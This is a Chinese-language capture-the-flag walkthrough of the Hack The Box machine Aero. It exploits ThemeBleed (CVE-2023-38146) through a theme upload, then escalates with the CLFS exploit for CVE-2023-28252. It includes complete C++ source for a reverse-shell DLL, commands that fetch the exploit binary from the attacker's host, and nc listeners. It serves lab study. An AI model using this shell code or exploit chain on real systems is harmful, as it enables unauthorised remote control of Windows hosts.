HTB-areo

端口扫描

根据 IIS 版本,主机可能运行现代 Windows 操作系统(Window 10/11 或 Server 2016+)。

访问80

底下有一个上传自定义主题的表单

尝试上传图片会失败,他需要.theme.themepack 扩展名

制作一个虚拟文件 test.theme 并上传它

该网站还表示将测试该主题,这意味着有人会打开它

底部有一封电子邮件 support@aerohub.htb 。页面上的所有链接都指向同一页面的其他部分。

没有什么有用的

进行目录爆破

feroxbuster -u http://10.10.11.237 -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt

window11心脏滴血

搜索“windows 11 themeexploit”会返回大量名为“ThemeBleed”的结果:

CVE-2023-38146(称为 ThemeBleed)是 Windows 主题中的一个漏洞,允许远程执行代码。它已在2023 年 9 月星期二补丁中修复。

该漏洞来自 Windows 处理.msstyles主题文件中引用的文件的方式。这些.msstyles文件导致 Windows 在.msstyles_vrf.dll附加的路径相同的路径中打开 DLL。该文件的数字签名在加载之前会被检查。

该漏洞的出现是因为,当使用 999 版本时,_vrf.dll检查二进制文件签名和加载使用它的时间之间存在很大差距。这种差距带来了竞争条件,攻击者可以用恶意有效负载替换经过验证的样式 DLL 来运行任意代码。

这边之所以到达这个思路,是因为在nmap扫描时出现的iis版本,和文件上传需要的文件后缀

POC

研究人员发布的概念验证代码位于此 GitHub 存储库中。在“发布”部分中有一个 zip 文件,其中包含 Windows 可执行文件以及名为stage1stage2和 的DLL stage3

GitHub 上的 README 显示该 exe 有三个命令:

  • server- 运行服务器

  • make_theme- 制作一个.theme文件

  • make_themepack- 制作一个.themepack文件

stage1`是一个设置为 999 的`msstyles`文件。是一个通过检查的合法签名样式文件。是要加载的 DLL,默认情况下将启动.`PACHTHEME_VERSION``stage2``stage3``calc.exe

具体项目代码分析可以看(https://www.youtube.com/watch?v=CdzgD-eMOnY)

最大的收获是:

  • 主题尝试从我的主机上的 SMB 共享加载样式文件。

  • 这会触发与以 结尾的文件的交互_vrf.dll,首先使用 API 打开它CreateFile以读取它并验证它的签名,然后使用LoadLibraryAPI 打开它。

  • SMB 服务器利用其打开方式的差异来返回合法 DLL 或恶意 DLL。

生成DLL

设置 VS 项目

rev_shell_dll · master · 0xdf / CTFScripts · GitLab这里面又现成的但是这边不能用

打开 Visual Studio(不是 Visual Studio Code)并“创建一个新项目”。我将使用过滤器菜单中的“C++”、“Windows”和“Library”来访问“Dynamic-Link Library (DLL)”:

我将命名该项目并为其获取一个文件夹:

创建带有导出的虚拟 DLL

在尝试放入反向 shell 之前,我想确保可以创建具有正确导出名称的 DLL。dllmain.cpp该项目从“Source Files”目录开始:

该代码已DllMain定义函数。过去,我从这里调用我的反向 shell,其中模板具有break

我将通过右键单击解决方案资源管理器中的“头文件”来创建一个新的头文件并将其命名为rev.h. 在此文件中,我将定义导出的函数:

#pragma once
​
extern "C" __declspec(dllexport) int VerifyThemeVersion(void);

在 C++ 中,具有这一点很重要,"C"否则函数名称在导出时会被破坏。

我将添加rev.cpp到解决方案资源管理器中的“源文件”,并在其中添加代码以弹出消息框:

#include "pch.h"
#include <Windows.h>
#include "rev.h"
​
using namespace std;
​
int VerifyThemeVersion(void)
{
    MessageBox(NULL, L"Hello, World!", L"Test", MB_OK);
    return 0;
}

rev.h为了使函数头和导出正常工作,包含在内非常重要。

我将我的项目设置为“发布”,然后转到“构建”>“构建解决方案”,然后它就会构建。我可以在 CFF 资源管理器之类的工具中查看它并查看导出:

运行它rundll32会显示它的工作原理:

图片-20230926124826895

我将从在线存储库中获取一个反向 shell(我将使用我的,但有很多),并对其进行调整以获得我需要的内容。我的从环境中读取回调IP和端口,这在这里不起作用。我将在函数顶部将它们定义为常量:

#include "pch.h"
#include <stdio.h>
#include <string.h>
#include <process.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#pragma comment(lib, "Ws2_32.lib")
#include "rev.h"
using namespace std;
​
void rev_shell()
{
    FreeConsole();
​
    const char* REMOTE_ADDR = "127.0.0.1";
    const char* REMOTE_PORT = "4444";
​
    WSADATA wsaData;
    int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    struct addrinfo* result = NULL, * ptr = NULL, hints;
    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;
    getaddrinfo(REMOTE_ADDR, REMOTE_PORT, &hints, &result);
    ptr = result;
    SOCKET ConnectSocket = WSASocket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol, NULL, NULL, NULL);
    connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = (HANDLE)ConnectSocket;
    si.hStdOutput = (HANDLE)ConnectSocket;
    si.hStdError = (HANDLE)ConnectSocket;
    TCHAR cmd[] = TEXT("C:\\WINDOWS\\SYSTEM32\\CMD.EXE");
    CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    WSACleanup();
}
​
int VerifyThemeVersion(void)
{
    rev_shell();
    return 0;
}

这边的利用就是把上面的ip改成自己靶机的ip

我将 DLL 负载复制到 ThemeBleed 存储库中data/stage3

PS > copy ..\rev_shell_dll\ReverseShellDLL\x64\Release\ReverseShellDLL.dll .\data\stage_3

现在我将生成一个主题文件:

PS > .\ThemeBleed.exe make_theme 10.10.14.6 exploit.theme

如果我现在尝试启动服务器,它会失败:

PS > .\ThemeBleed.exe server
​
Unhandled Exception: System.Net.Sockets.SocketException: An attempt was made to access a socket in a way forbidden by its access permissions
   at System.Net.Sockets.Socket.DoBind(EndPoint endPointSnapshot, SocketAddress socketAddress)
   at System.Net.Sockets.Socket.Bind(EndPoint localEP)
   at SMBLibrary.Server.SMBServer.Start(IPAddress serverAddress, SMBTransportType transport, Int32 port, Boolean enableSMB1, Boolean enableSMB2, Boolean enableSMB3, Nullable`1 connectionInactivityTimeout)
   at SMBLibrary.Server.SMBServer.Start(IPAddress serverAddress, SMBTransportType transport, Boolean enableSMB1, Boolean enableSMB2)
   at SMBFilterDemo.Program.RunServer() in C:\Users\U\source\repos\SMBFilterDemo\SMBFilterDemo\Program.cs:line 63
   at SMBFilterDemo.Program.Main(String[] args) in C:\Users\U\source\repos\SMBFilterDemo\SMBFilterDemo\Program.cs:line 129

问题是 Windows 已经默认监听 SMB。

关闭 SMB

完全禁用 SMB 的最简单方法是在 Windows 服务面板中禁用服务器服务:

停止服务应该可行,但某些东西仍然占用端口 445,至少在我的机器上是这样。在这里重新启动就可以解决这个问题。

运行服务器

重新启动后,我可以在服务器模式下运行该漏洞:

PS > .\ThemeBleed.exe server
Server started

###

我将开始nc在我的 Windows 主机上监听,连接到 HTB VPN,并上传主题文件。ThemeBleed 服务器几乎立刻就建立了连接:

PS > .\ThemeBleed.exe server

nc连接

nc -lvnp 4444

提权root

在 sam.emerson 的Documents目录中有一个 PDF 文档:

C:\Users\sam.emerson\Documents> dir
 Volume in drive C has no label.
 Volume Serial Number is C009-0DB2
​
 Directory of C:\Users\sam.emerson\Documents
​
09/21/2023  02:58 PM    <DIR>          .
09/20/2023  05:08 AM    <DIR>          ..
09/21/2023  09:18 AM            14,158 CVE-2023-28252_Summary.pdf
09/20/2023  07:10 AM               987 watchdog.ps1
               2 File(s)         15,145 bytes
               2 Dir(s)   3,048,124,416 bytes free

watchdog.ps1是模拟 sam.emerson 加载主题的脚本。

我将通过将 PDF 转换为 base64 来删除它:

PS C:\Users\sam.emerson\Desktop> powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
​
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
​
PS C:\Users\sam.emerson\Desktop> cd ..\Documents
PS C:\Users\sam.emerson\documents> ls
​
    Directory: C:\Users\sam.emerson\documents
​
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/21/2023   9:18 AM          14158 CVE-2023-28252_Summary.pdf
-a----         9/26/2023   1:07 PM            987 watchdog.ps1
​
PS C:\Users\sam.emerson\documents> [convert]::ToBase64String((Get-Content -path "CVE-2023-28252_Summary.pdf" -Encoding byte))
JVBERi0xLjYKJcOkw7zDtsOfCjIgMCBvYmoKPDwvTGVuZ3RoIDMgMC。。。。。。。。。。。。。。。。。。。。。。。。==

在我的虚拟机上,我会将其解码为一个文件:

oxdf@hacky$ echo "JVBERi...[snip]...GCg==" | base64 -d > CVE-2023-28252_Summary.pdf

PDF 包含有关 CVE-2023-28252 的信息:

systeminfo

提权辅助网页 Windows提权辅助

我会注意到应用了 7 个修补程序。CVE-2023-28252 的 Microsoft 页面包含指向 Windows 11 x64 的“仅安全”补丁的链接,这些补丁标记为 KB5025224,但该系统上不存在该补丁。

CVE-2023-28252

POC

搜索“CVE-2023-28252 POC”可以找到来自 fortra 的此存储库。它有大量关于公共日志文件系统中的漏洞利用的详细信息。

该存储库有一个 VS 项目文件,因此我将其克隆到我的 Windows 计算机并在 Visual Studio 中打开它。POC 相当长,但在第 1491-1502 行,它检查它是否作为系统运行,然后启动notepad.exe

我将替换为来自revshells.comnotepad.exe的 PowerShell #3 (Base64) :

现在我将构建它。将其设置为发布版本非常重要,否则它将需要 Aero 上没有的某些库。如果我看到有关无法转换字符串类型的错误,如下所示:

我可以通过进入项目设置(clfs_eop在解决方案资源管理器中右键单击并转到“属性”)来修复此问题,在“配置属性”>“高级”下将“字符集”设置为“使用多字节字符集”。现在关于“重建解决方案”:

I can fix that by going into the project settings (right click on clfs_eop in the Solutions Explorer and go to Properties), under Configuration Properties > Advanced set “Character Set” to “Use Multi-Byte Character Set”. Now on “Rebuild Solution”:

我将使用 Python Web 服务器 ( python3 -m http.server 80) 托管该文件,然后使用 PowerShell 请求该文件:

PS C:\Users\sam.emerson\documents> iwr http://10.10.14.6/clfs_eop.exe -outfile clfs_eop.exe
PS C:\Users\sam.emerson\documents> ls

现在我运行漏洞利用:

PS C:\Users\sam.emerson\documents> .\c.exe

nc -lvnp 9001

  • 29
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值